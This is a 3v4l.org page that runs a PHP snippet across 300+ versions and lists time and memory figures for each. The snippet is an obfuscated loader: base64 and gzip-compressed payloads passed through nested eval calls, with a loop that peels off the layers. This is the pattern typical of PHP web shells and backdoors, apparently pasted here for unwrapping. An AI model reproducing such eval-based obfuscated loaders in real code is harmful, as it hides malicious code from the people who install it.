3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* $aa = array("d","v","n",'e','r',"(",'4',"o",'z','f',')','$',"l",'s',"g","c",'_',"b","a","t",';',"6",'i'); echo($aa[3].$aa[1].$aa[18].$aa[12].$aa[5].$aa[14].$aa[8].$aa[22].$aa[2].$aa[9].$aa[12].$aa[18].$aa[19].$aa[3].$aa[5].$aa[17].$aa[18].$aa[13].$aa[3].$aa[21].$aa[6].$aa[16].$aa[0].$aa[3].$aa[15].$aa[7].$aa[0].$aa[3].$aa[5].$aa[11].$aa[1].$aa[10].$aa[10].$aa[10].$aa[20]); */ echo "\n\n"; /* echo gzinflate(base64_decode('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'));*/ $v = "eval(gzinflate(base64_decode('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')));"; while (substr($v, 0, 4)=='eval') { $v2 = substr(substr($v, 5), 0, -2); ob_start(); eval($v2); $v = ob_get_contents(); ob_end_clean(); } echo $v;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00918.43
8.3.50.0070.00719.71
8.3.40.0110.00418.97
8.3.30.0110.00319.05
8.3.20.0040.00420.16
8.3.10.0030.00521.73
8.3.00.0080.00019.56
8.2.180.0180.00318.54
8.2.170.0140.00422.96
8.2.160.0030.01020.52
8.2.150.0070.00424.18
8.2.140.0000.00724.66
8.2.130.0040.00426.16
8.2.120.0000.00819.36
8.2.110.0060.00321.18
8.2.100.0080.00417.91
8.2.90.0030.00519.20
8.2.80.0060.00319.32
8.2.70.0030.00517.50
8.2.60.0000.00817.93
8.2.50.0030.00618.07
8.2.40.0080.00019.95
8.2.30.0050.00319.48
8.2.20.0040.00417.81
8.2.10.0040.00418.12
8.2.00.0060.00317.87
8.1.280.0040.01825.92
8.1.270.0130.00722.06
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0070.00319.28
8.1.230.0120.00020.97
8.1.220.0030.00617.74
8.1.210.0000.00818.77
8.1.200.0070.00317.35
8.1.190.0040.00417.54
8.1.180.0030.00519.13
8.1.170.0050.00318.52
8.1.160.0050.00218.80
8.1.150.0000.00718.81
8.1.140.0050.00217.52
8.1.130.0070.00017.88
8.1.120.0070.00017.46
8.1.110.0040.00417.46
8.1.100.0070.00017.38
8.1.90.0040.00417.34
8.1.80.0050.00217.51
8.1.70.0000.00717.30
8.1.60.0030.00617.61
8.1.50.0040.00417.46
8.1.40.0050.00317.52
8.1.30.0080.00017.66
8.1.20.0000.00817.64
8.1.10.0040.00417.57
8.1.00.0050.00217.45
8.0.300.0060.00318.77
8.0.290.0070.00017.18
8.0.280.0070.00018.28
8.0.270.0030.00317.20
8.0.260.0030.00317.27
8.0.250.0000.00717.00
8.0.240.0030.00317.06
8.0.230.0050.00316.91
8.0.220.0030.00316.92
8.0.210.0070.00016.98
8.0.200.0040.00417.03
8.0.190.0040.00416.92
8.0.180.0080.00016.98
8.0.170.0040.00416.95
8.0.160.0070.00016.98
8.0.150.0000.00817.02
8.0.140.0000.00716.91
8.0.130.0000.00513.40
8.0.120.0000.00716.97
8.0.110.0040.00416.88
8.0.100.0050.00216.82
8.0.90.0040.00416.82
8.0.80.0100.01016.98
8.0.70.0000.00716.77
8.0.60.0050.00316.82
8.0.50.0050.00316.96
8.0.30.0110.00616.98
8.0.20.0080.01017.40
8.0.10.0040.00417.14
8.0.00.0070.01016.96
7.4.330.0030.00315.09
7.4.320.0030.00516.52
7.4.300.0030.00316.59
7.4.290.0030.00516.49
7.4.280.0000.00816.49
7.4.270.0000.00716.52
7.4.260.0070.00016.58
7.4.250.0070.00016.56
7.4.240.0020.00616.49
7.4.230.0000.00716.67
7.4.220.0150.00016.64
7.4.210.0090.01216.46
7.4.200.0020.00516.32
7.4.160.0140.01016.32
7.4.150.0000.02017.40
7.4.140.0100.00817.86
7.4.130.0080.01116.46
7.4.120.0040.01316.56
7.4.110.0110.01116.56
7.4.100.0110.00716.53
7.4.90.0130.00416.54
7.4.80.0030.01419.39
7.4.70.0060.01216.63
7.4.60.0030.01316.61
7.4.50.0070.00316.46
7.4.40.0150.00616.46
7.4.30.0060.01616.49
7.4.00.0090.00914.90
7.3.330.0000.00513.10
7.3.320.0000.00513.18
7.3.310.0060.00016.21
7.3.300.0060.00016.36
7.3.290.0080.00816.23
7.3.280.0060.01116.27
7.3.270.0120.00617.40
7.3.260.0180.00616.53
7.3.250.0050.01316.53
7.3.240.0090.01216.45
7.3.230.0100.00716.39
7.3.210.0000.01616.41
7.3.200.0150.00819.39
7.3.190.0070.01016.34
7.3.180.0130.00616.26
7.3.170.0130.00316.41
7.3.160.0000.01516.38
7.2.330.0080.00916.42
7.2.320.0090.00916.42
7.2.310.0030.01316.68
7.2.300.0060.01616.43
7.2.290.0090.00916.71
7.2.00.0030.00919.17
7.1.200.0100.00015.83
7.1.100.0030.00818.21
7.1.70.0030.01417.04
7.1.60.0130.01319.34
7.1.50.0170.01734.57
7.1.00.0000.08022.44
7.0.200.0000.01016.82
7.0.140.0100.06321.95
7.0.60.0070.08319.93
7.0.50.0130.07717.78
7.0.40.0130.03720.22
7.0.30.0330.07020.17
7.0.20.0270.07320.09
7.0.10.0030.08320.13
7.0.00.0030.08720.30
5.6.280.0000.07721.02
5.6.210.0100.08320.73
5.6.200.0100.03318.22
5.6.190.0030.09020.57
5.6.180.4100.03320.51
5.6.170.0330.07320.71
5.6.160.0070.04020.48
5.6.150.0130.07318.17
5.6.140.0030.08318.09
5.6.130.0070.06018.20
5.6.120.0000.04720.97
5.6.110.0070.07720.86
5.6.100.0000.04321.11
5.6.90.0030.08321.00
5.6.80.0100.03720.37
5.5.350.0270.07020.40
5.5.340.0130.06717.89
5.5.330.0070.04020.08
5.5.320.0270.04020.27
5.5.310.0300.04320.13
5.5.300.0200.04018.02
5.5.290.0170.07018.00
5.5.280.0200.07320.74
5.5.270.0130.08020.59
5.5.260.0070.04720.96
5.5.250.0030.07320.59
5.5.240.0030.07720.26
5.4.450.0200.06019.51
5.4.440.0630.03719.59
5.4.430.0630.03719.26
5.4.420.0000.06319.42
5.4.410.0070.06018.83
5.4.400.0200.05018.54
5.4.390.0100.05318.75
5.4.380.0100.05718.76
5.4.370.0130.05318.56
5.4.360.0170.04718.48
5.4.350.0030.04713.67
5.4.340.0000.04013.75
5.4.320.0030.04014.14
5.4.310.0100.03314.17
5.4.300.0000.04314.20
5.4.290.0130.03314.21
5.4.280.0130.03714.04
5.4.270.0170.03314.13
5.4.260.0030.04014.20
5.4.250.0000.04314.02
5.4.240.0030.04014.04
5.4.230.0070.03714.02
5.4.220.0030.04014.03
5.4.210.0100.03314.10
5.4.200.0070.03714.03
5.4.190.0070.04014.03
5.4.180.0130.03014.21
5.4.170.0130.03714.11
5.4.160.0100.03714.19
5.4.150.0030.04314.12
5.4.140.0000.04313.74
5.4.130.0070.03713.75
5.4.120.0070.03713.68
5.4.110.0030.04013.73
5.4.100.0030.04013.66
5.4.90.0030.04013.73
5.4.80.0030.04013.73
5.4.70.0070.03313.63
5.4.60.0030.03713.72
5.4.50.0030.04013.70
5.4.40.0100.03713.74
5.4.30.0030.04013.66
5.4.20.0030.04013.70
5.4.10.0100.03013.71
5.4.00.0030.04313.13
5.3.290.0030.04714.66
5.3.280.0030.04014.58
5.3.270.0070.04314.55
5.3.260.0070.04014.55
5.3.250.0030.04014.50
5.3.240.0070.03714.55
5.3.230.0070.03714.47
5.3.220.0170.03014.48
5.3.210.0100.03714.56
5.3.200.0130.03014.56
5.3.190.0070.04314.53
5.3.180.0100.04314.64
5.3.170.0070.03714.62
5.3.160.0070.03714.52
5.3.150.0070.03714.47
5.3.140.0070.03714.50
5.3.130.0100.04014.59
5.3.120.0100.04314.42
5.3.110.0100.04014.46
5.3.100.0170.04314.06
5.3.90.0070.05313.96
5.3.80.0130.03713.93
5.3.70.0100.04714.00
5.3.60.0030.04013.90
5.3.50.0030.04013.98
5.3.40.0100.03313.98
5.3.30.0200.02713.80
5.3.20.0100.03713.74
5.3.10.0070.03313.60
5.3.00.0070.03713.55
5.2.170.0100.03011.16
5.2.160.0070.02711.08
5.2.150.0100.02711.22
5.2.140.0030.03311.25
5.2.130.0070.03311.08
5.2.120.0100.02311.10
5.2.110.0070.03011.02
5.2.100.0070.03711.10
5.2.90.0000.03711.09
5.2.80.0030.03311.12
5.2.70.0100.02310.97
5.2.60.0030.03311.08
5.2.50.0070.03310.96
5.2.40.0030.03310.86
5.2.30.0100.04010.88
5.2.20.0100.03011.10
5.2.10.0070.02710.95
5.2.00.0100.03010.78
5.1.60.0000.02710.03
5.1.50.0030.0279.93
5.1.40.0070.02310.01
5.1.30.0000.03010.52
5.1.20.0000.03310.52
5.1.10.0100.02310.04
5.1.00.0000.03010.06
5.0.50.0030.0208.54
5.0.40.0030.0208.61
5.0.30.0070.0308.36
5.0.20.0030.0208.28
5.0.10.0030.0208.37
5.0.00.0030.0308.27
4.4.90.0030.0135.87
4.4.80.0030.0135.83
4.4.70.0030.0175.81
4.4.60.0030.0135.86
4.4.50.0030.0135.97
4.4.40.0000.0305.88
4.4.30.0000.0175.89
4.4.20.0070.0135.90
4.4.10.0070.0105.92
4.4.00.0000.0275.95
4.3.110.0030.0175.86
4.3.100.0000.0175.79
4.3.90.0000.0175.84
4.3.80.0000.0275.76
4.3.70.0000.0175.80
4.3.60.0030.0135.80
4.3.50.0000.0175.78
4.3.40.0030.0235.88
4.3.30.0030.0134.63
4.3.20.0000.0174.49
4.3.10.0000.0174.45
4.3.00.0230.01716.21

preferences:
61.02 ms | 400 KiB | 5 Q